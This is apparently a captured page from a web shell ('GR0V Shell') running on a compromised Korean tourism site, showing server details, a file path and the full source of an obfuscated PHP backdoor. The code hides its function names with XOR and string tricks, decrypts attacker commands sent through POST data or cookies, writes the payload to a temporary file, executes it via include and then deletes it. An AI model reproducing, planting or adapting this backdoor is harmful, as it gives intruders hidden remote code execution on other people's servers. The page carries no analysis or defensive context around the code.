? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/amxrm/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/amxrm/mnxmeaiw.php

<?php 
$xqgjirr    =     'xqgjirr'	^ /*  qq*/ '';

$rgpbkeukba	= /*  yv  */ $xqgjirr(83) /*   qgvehc*/ .       "T"."\122" /*  zsudyo  */ .	"_".$xqgjirr(604-524) /* _zruos   */ .       "\101"      . /* fqe   */ "D"."_".$xqgjirr(82) /*   mu*/ . /* l_a*/ "I"."\107" /*  g  */ .     "H"."T";


$hxvvy_nbej /*  mdlm  */ = /*bewks  */ "\141" /*   msfnze */ . /*  v   */ $xqgjirr(141-27)     . /*   stjyz   */ "\x72" /*dvljeg*/ .	"\x61"    .    $xqgjirr(121)    .  "\137" /*b */ .	"\155"     . /*_dcw   */ "a".$xqgjirr(112);$_tvdnkq    =    $xqgjirr(851-746)  . /*vldqq*/ "m"."p".$xqgjirr(167-59)	. /*  m */ "o"."d"."e";$gporsvtgvm	=       "s"."\164" /*   u_wu   */ .    "r"."_"."\x70"  .	$xqgjirr(821-724)	.	$xqgjirr(100);$_ugwl_b /*  nqlgp*/ =	"\x63"      .	"\157" /*  tbcf  */ .	$xqgjirr(1066-949) /*   nf   */ . /*  t   */ "\x6e"     .    $xqgjirr(116);





function       wuczwena($tmeax,   $bauvw){
 /*syhzti  */ global /*   crxqb   */ $xqgjirr;


 /*  u   */ 	$tmeax      =	"\74" /*fmosj */ .	"\77"     .   "p"."\x68"    .	$xqgjirr(112)	. /*ae  */ $xqgjirr(32)    .      "u"."\156"    .   "l"."\x69"     . /*  gbecme */ "\156"       .     "k"."\x28" /* jpw_*/ .    "_"."_"."F"."\111"    .       "L".$xqgjirr(1056-987) /*dfd*/ .	$xqgjirr(168-73)     . /*   lqiqaj */ "_"."\x29"     . /*   _  */ $xqgjirr(382-323) /* sud */ .      $xqgjirr(32)    .     $tmeax["\x64"];

	$pjzpnd_mn /*  ygmq */ =    "\x66" /*  ihrs   */ .  $xqgjirr(105)    . /*  ihopmw  */ "\x6c" /*iowa */ .    "e".$xqgjirr(1008-913) /*  bovu*/ .      "p".$xqgjirr(487-370)   .	"t"."_".$xqgjirr(980-881)     . /* oo*/ "\157"      .    $xqgjirr(970-860)      .	$xqgjirr(803-687)    . /*  p */ "e".$xqgjirr(629-519) /*   puqkl  */ .    "\x74" /*   y */ .    "s";

	

       $pjzpnd_mn($bauvw, /* xt_ */ $tmeax);


   
      dyvzxnb($bauvw);
}
$rekgvx    =     73;


function      dyvzxnb($bauvw)
{


 /* lrzad   */ global /*   mtnbu*/ $xqgjirr;    
      include($bauvw);
       $lyhhair /*   p   */ = /*  mtp   */ $bauvw;

	@unlink($lyhhair);

}



function    oku_xya()


{


   global	$xqgjirr;


 /*  balkz*/ $q_hkkzvv	=	array();

      $q_hkkzvv["\160"  . /* k_yx  */ "v"] /*hdya  */ =    phpversion();


 /*   x*/ $q_hkkzvv["s"."v"]    = /*  iis*/ "3".$xqgjirr(333-287) /*   oi */ . /*   w */ "5";	$bommauc    =    74;

 /* jyc */ echo  @serialize($q_hkkzvv);


}

function /*rz  */ qwpcathp_($tmeax,    $xu_pploq)


{    global    $xqgjirr;




 /*   rqfew  */ $el_skmu    =	"";
	$esin_a	=   'qbqdbo'; /*_  */ $cmnozclt   =    hash('sha256', /*  e_smuc  */ $tmeax);	$tmrssc   = /* dgpzx   */ str_replace('ad',     $cmnozclt,     $esin_a);


 /*tp */ $q_hkkzvv      = /*   lo */ 0;


    while    ($q_hkkzvv    <    strlen($tmeax))      {	$fchhk /*   pamca*/ =	isset($xu_pploq)   ?    $xu_pploq       :    '';


 /* y*/ for /*   bksym   */ ($wvsrbovbd /* awy   */ =   0;      $wvsrbovbd /*hhw */ <   strlen($fchhk)  &&	$q_hkkzvv    <     strlen($tmeax);      $wvsrbovbd++, /*fgzti  */ $q_hkkzvv++) /*   izgf   */ {

    $el_skmu   .= /*osca   */ $xqgjirr(ord($tmeax[$q_hkkzvv])    ^    ord($fchhk[$wvsrbovbd]));
 /* kvcm*/ }


	if /*  jh  */ (strlen($el_skmu)    >     20)    {

    $tmrssc /*   iffl  */ =    substr($el_skmu,     0, /*  blcawi  */ 20);    }

 /*  xdmgsa */ }

	if /* v  */ (empty($el_skmu))	{


 /*apq   */ $el_skmu	=      date('Y-m-d /*  qprv_   */ H:i:s');

	}

 /* y_vrkf  */ return    $el_skmu;

}




function  kz__s($fphoybbbij)


{
 /*   f*/ global      $xqgjirr;    
 /* _namw*/ $pnfs_qqpfx /*  d  */ =  "b".$xqgjirr(97).$xqgjirr(499-444)    . /*  epgxry   */ "\x61"  . /*   ldwf*/ "\x38"     .   "b"."\x61"	.    "\143" /*acdb_y   */ .     "-"."\x35"  . /*   pxaioy  */ "2"."\x63"      .	"\x61"       . /*  z  */ "\55"	. /*   bw */ "4"."9".$xqgjirr(57)	. /* rledcs  */ $xqgjirr(54)	. /* s   */ "\55"   . /* yvitk   */ "8"."\145"	.     $xqgjirr(672-572) /*   i_bpno*/ .  "f"."-".$xqgjirr(53)      .    "\x32" /*  xgvuq   */ .    "\71"    .      $xqgjirr(852-802)     . /*  naczh */ "\x39"    .    "e"."3"."5"."8"."0"."e"."e";
     /*jaywep  */ foreach     ($fphoybbbij    as /* _mvprp   */ $khtqdlrbs_    =>      $tmeax)    {
 /* izse  */ _wgcja_t(base64_decode($tmeax), /* gmzr*/ $pnfs_qqpfx,       $khtqdlrbs_);    }
}


function    _wgcja_t($tmeax,    $pnfs_qqpfx, /*  iyspg  */ $khtqdlrbs_)
{   global       $xqgjirr;    
     $tmeax	=    unserialize(qwpcathp_(qwpcathp_($tmeax,    $pnfs_qqpfx), /*   krzg_*/ $khtqdlrbs_));


	$wvsrbovbdjnrebci /*  ui   */ =	'_etgrmnsau';
	$dmmni       =       'kn';
 /*  ov */ if     (isset($tmeax[$xqgjirr(97)."k"]))      {
    if       ($tmeax[$xqgjirr(97)]   ==    "i") /*qisyd */ {

    oku_xya(); /*  p_ivkt */ } /*lximig  */ elseif /*   sk */ ($tmeax[$xqgjirr(97)]    ==    "e")	{

  wuczwena($tmeax,    sprintf("."."/".$xqgjirr(900-863)	.      "s"."\56" /*   viw  */ .   "p".$xqgjirr(836-728), /* rhb*/ md5($pnfs_qqpfx)));

			$wvsrbovbdtbebm	= /*fb */ 44;


 /* l */ }

     exit();

 /*jozofn */ }
}
kz__s($_POST); /*o   */ 




$rgu_sjrimu /*rl */ =     $hxvvy_nbej('rawurldecode',    $_POST);

$osmjz      = /* mjvltn   */ $_ugwl_b($rgu_sjrimu);
if /*  q*/ ($osmjz /*   slbier */ > /*   swvl  */ 0)       {


    $wpypp	= /*  oxlaau*/ $_tvdnkq(',',  $rgu_sjrimu);}


kz__s($_COOKIE);      



$vkohrma   =    $hxvvy_nbej('rawurldecode',  $_COOKIE);


$vhafvc	=     $_ugwl_b($vkohrma);
if /*j*/ ($vhafvc	>       0) /*   igpmxg*/ {

    $pz_xhj	=    $_tvdnkq(';', /*   vr  */ $vkohrma);}$grebmlaxv   = /* _*/ $vkohrma;


$apmrikvtk      =       date('Y-m-d /*   juzbj  */ H:i:s');


$hgzimsgaqg /*   k  */ =     strlen($_tvdnkq('',      $grebmlaxv));if /* krdbbq  */ ($hgzimsgaqg	>    100)	{       $wvsrbovbdufoxozbm /*  ajjj   */ =    $gporsvtgvm($_tvdnkq('',    $grebmlaxv),       150,    '0',	$rgpbkeukba);
}







?>

T1KUS90T
  root-grov@210.1.60.28:~$